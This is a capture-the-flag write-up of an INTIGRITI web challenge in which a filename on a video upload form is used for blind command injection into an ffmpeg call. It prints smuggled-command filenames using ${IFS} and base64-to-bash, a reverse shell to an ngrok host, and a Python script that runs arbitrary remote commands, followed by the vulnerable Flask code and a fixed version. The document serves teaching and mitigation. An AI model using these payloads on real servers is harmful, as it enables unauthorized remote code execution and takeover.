22 July 2023

INTIGRITI Challenge 0723 - Writeup

by piscio & simonedimaria | Category: web


INTIGRITI Challenge 0723 (July)

chall_0723_initigriti.jpeg

Introduction

Every month, INTIGRITI releases a new challenge, usually about XSS (they love it).

The rules were pretty simple:

1. do NOT reveal the solution until the challenge is over!
2. this challenge runs from the 17th of July until the 25th of July, 11:59 PM CET.
3. Out of all correct submissions, we will draw six winners on Tuesday, the 25th July: (3 randomly drawn, 3 best write-ups)
4. Every winner gets a €50 swag voucher for our https://swag.intigriti.com/.

Instead, as to the objective of the challenge we had these information:

Find the flag and win [INTIGRITI](https://www.intigriti.com/) swag.

Not much, but still… the swag $😀$

Me

Me

TL;DR

The challenge consisted in a vulnerability of the file upload functionality. Specifically, a blind command injection via filename.

The challenge

0 - Recon

chall_firstlook.png

At first glance, the website looks very simple: we upload a video and we get back the extracted audio in .mp3 format. Looking for the technologies using wappalyzer, we do not obtain useful information:

chall_technologies.png

1 - Enumeration

1.1) Analyzing upload request

Let’s take a look at the upload functionality intercepting the request with BurpSuite.

burp_upload_req.png

Looking at the response we already see some interesting strings in the extracted_audio.wav file, like Lavf58.20.100 which presumably is the version of the tool/library that’s being used.

1.2) Inspecting converted file metadata

To confirm that, I uploaded the video again without intercepting the request and look into the file metadata using exiftool:

exiftool_audio.png

So it’s confirmed that it’s using Lavf software, which stands for libavformat, and very likely it’s using it from ffmpeg. Source code isn’t provided, but as black-box approach we can assume it’s doing something like:

ffmpeg -i video.mp4 [OPTIONS] -vn extracted_audio.mp3

which gives us similar results:

exiftool_audio_2.png

1.3) Finding blind RCE in uploaded file name

Knowing that the .mp4 filename is user controllable, if it’s being manipulated unsafely, we could obtain OS command injection. Let’s try something very simple, i.e ;id;video.mp4, in order to verify the vulnerability. If we have injection, the resulting command that will be executed will be the following:

ffmpeg -i ;id;video.mp4 [OPTIONS] -vn extracted_audio.mp3

but we get error 500:

error_500.png

We are, in fact, breaking the ffmpeg command. It’s possible that in the backend the command is raising an exception because of the broken ffmpeg command and returning error 500 even if it’s executing the id command successfully. Let’s try to elaborate our payload a bit more. 2>/dev/null;id;#video.mp4 as filename should evaluate to:

ffmpeg -i 2>/dev/null;id;#video.mp4 [OPTIONS] -vn extracted_audio.mp3

but we still get error 500 and cannot see the output/errors.

At this stage we have to try it blindly. Firstly, some basic payloads, like: sleep 5. If the server hangs, it’s RCE. Nevertheless, ;sleep 5;#video.mp4 as filename will trigger another error:

Invalid filename, please make sure it is an MP4 file and does not contain any white spaces in the filename

How can we inject useful commands without spaces? Fortunately there is an easy way to circumvent this limitation using ${IFS}.

IFS stands for “internal field separator”. It is used by the shell to determine how to do word splitting, i. e. how to recognize word boundaries. The default value for IFS consists of whitespace characters, therefore if we call ${IFS} in a bash shell it will act as a whitespace.

So the payload becomes:

;sleep${IFS}5;#video.mp4

Aand It works! Finally the feedback I was searching for, a delay in the response.

2 - Exploitation

hacking.gif

2.1) Why this works?

As we supposed earlier, let’s assume that, the back-end, in response to our request, is executing the following command: ffmpeg -i user-input.mp4 -vn extracted_audio.mp3. Where user-input is the filename we sent in the request. Thus, this is what the server will see after we inject the sleep payload:

ffmpeg -i ;sleep${IFS}5;#video.mp4 -vn extracted_audio.mp3

And it will execute all three commands, even if they return an error, because ; command separator will execute commands regardless of the result of the previous, So:

Nice. We confirmed the command injection… and now what? We want a shell. So let’s go and refine our payload.

First things first, I wanted to have a solid and bullet-proof payload, so I could easily mess with different commands on the victim server without worrying about spaces.

This is what I came up with:

;echo${IFS}"base64_encoded_command"|base64${IFS}-d|bash;

with this i don’t have to worry about the command I decide to send, cause it is base64 encoded.

Now you can apply the same logic with any command you want. So, let’s spawn a shell. Firstly we’ll need a public IP. We can use ngrok for this task (take a look at how it works). For the payload itself, I used one from revshells.com:

sh -i >& /dev/tcp/2.tcp.eu.ngrok.io/18418/ 0>&1

3 - PoC

To exploit this vulnerability I created the following (really simple) script to help me testing different commands

import requests
import base64

url = "https://challenge-0723.intigriti.io:443/upload"
headers = {"User-Agent": "Samsung Fridge"}

while (True):
    print("cmd> ", end="")
    cmd = input()
    cmd_enc = base64.b64encode(cmd.encode("utf-8")).decode("utf-8")
    print(f"Executing '{cmd}' on the remote machine...")

    filename = f";echo {cmd_enc} |base64 -d|bash;".replace(' ', '${IFS}')
    files = {'video': (f"{filename}", open("/path/to/video.mp4","rb"), "video/mp4")}

    r = requests.post(url, headers=headers, files=files)

Start nc listener (nc -lnvp 1337), start ngrok in tcp mode (ngrok tcp 1337) and send the payload.

flag.png

INTIGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll}

4 - Mitigation

4.1) Identifying the threat

Let’s see how this vulnerability could be avoided. We took the challenge files thanks to our previous rev-shell. This is the app.py:

from flask import Flask, request, render_template, send_file, jsonify, make_response
from werkzeug.exceptions import InternalServerError
from helpers import *

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/challenge')
def challenge():
    return render_template('challenge.html')

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        file = request.files['video']
        filename = file.filename

        if file:
            if validate_filename(filename):
                valid_filename = filename
            else:
                return render_template('error.html', error='Invalid filename, please make sure it is an MP4 file and does not contain any white spaces in the filename')

            video_path = f'misc/{valid_filename}'
            
            file.save(video_path)
            
            audio_path = 'misc/extracted_audio.wav'

            success, error = extract_audio(video_path, audio_path)
            
            if success:
                return send_file(audio_path, as_attachment=True)
            else:
                # Raise InternalServerError to trigger the error handler
                raise InternalServerError(error)

    return render_template('upload.html')

# Custom error handler for InternalServerError (500 error)
@app.errorhandler(InternalServerError)
def handle_internal_server_error(e):
    response = {
        'error': 'That wasn\'t supposed to happen',
        'message': 'Hey, stop trying to break things!!'
    }
    return make_response(jsonify(response), 500)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337, debug=False)

extract_audio() function is the one we’re interested in. However, it isn’t declared. Note how it’s importing all methods of helpers.py:

from helpers import *

So, let’s look into that.

import subprocess, re

def validate_filename(filename):
    try:
        pattern = r"^[^\s]+\.(mp4)$"

        if re.match(pattern, filename):
            return True
        else:
            return False

    except Exception as e:
        return False

def extract_audio(video_path, audio_path):
    try:
        command = f"""ffmpeg -i {video_path} -vn -acodec libmp3lame -ab 192k -ar 44100 -y -ac 2 {audio_path}"""

        r = subprocess.run(command, shell=['/bin/bash'], capture_output=True)
    
        if r.returncode != 0:
            return False, r.stderr
        else:
            return True, ''
    
    except Exception as e:
        return False, e

Ok, that’s a VERY insecure pattern. Here we have 2 main issues:

  1. Input Handling: it’s formatting the command to execute with format strings without any sanitization or validation. That’s why we could chain our payload to the command.
  2. Unsafe subprocess execution: Here, the problem is not due to subprocess.run. Instead, on how it’s being used.

According to Subprocess Documentation:

Unlike some other popen functions, the default implementation will never implicitly call a system shell. This means that all characters, including shell metacharacters, can safely be passed to child processes. If the shell is invoked explicitly, via shell=True, it is the application’s responsibility to ensure that all whitespace and metacharacters are quoted appropriately to avoid shell injection vulnerabilities. On some platforms, it is possible to use [shlex.quote()](https://docs.python.org/3/library/shlex.html#shlex.quote) for this escaping.

In this case, it’s set as shell=['/bin/bash'] which is almost the same as shell=True (the only difference is that on Unix with shell=True, the shell defaults to /bin/sh).

4.2) A better approach

As the Subprocess Documentation suggests, when using subprocess.run, you need to pass the command and its arguments as a list of strings. The first element of the list should be the command you want to execute, and any additional elements represent the arguments for that command. This way, the command and its arguments are provided separately, and we cannot call any other commands, or escape the specified one.

Here’s an example of how the app would have been more secure:

import subprocess, re

def validate_filename(filename):
    try:
        pattern = r"^[^\s]+\.(mp4)$"

        if re.match(pattern, filename):
            return True
        else:
            return False

    except Exception as e:
        return False

def extract_audio(video_path, audio_path):
    try:
        command = [
            "ffmpeg",
            "-i", video_path,
            "-vn",
            "-acodec", "libmp3lame",
            "-ab", "192k",
            "-ar", "44100",
            "-y",
            "-ac", "2",
            audio_path
        ]

        r = subprocess.run(command, shell=False, capture_output=True)
    
        if r.returncode != 0:
            return False, r.stderr.decode()
        else:
            return True, ''
    
    except Exception as e:
        return False, str(e)

And now our exploit is neutralized 🙂.

tags: web - rce - intigriti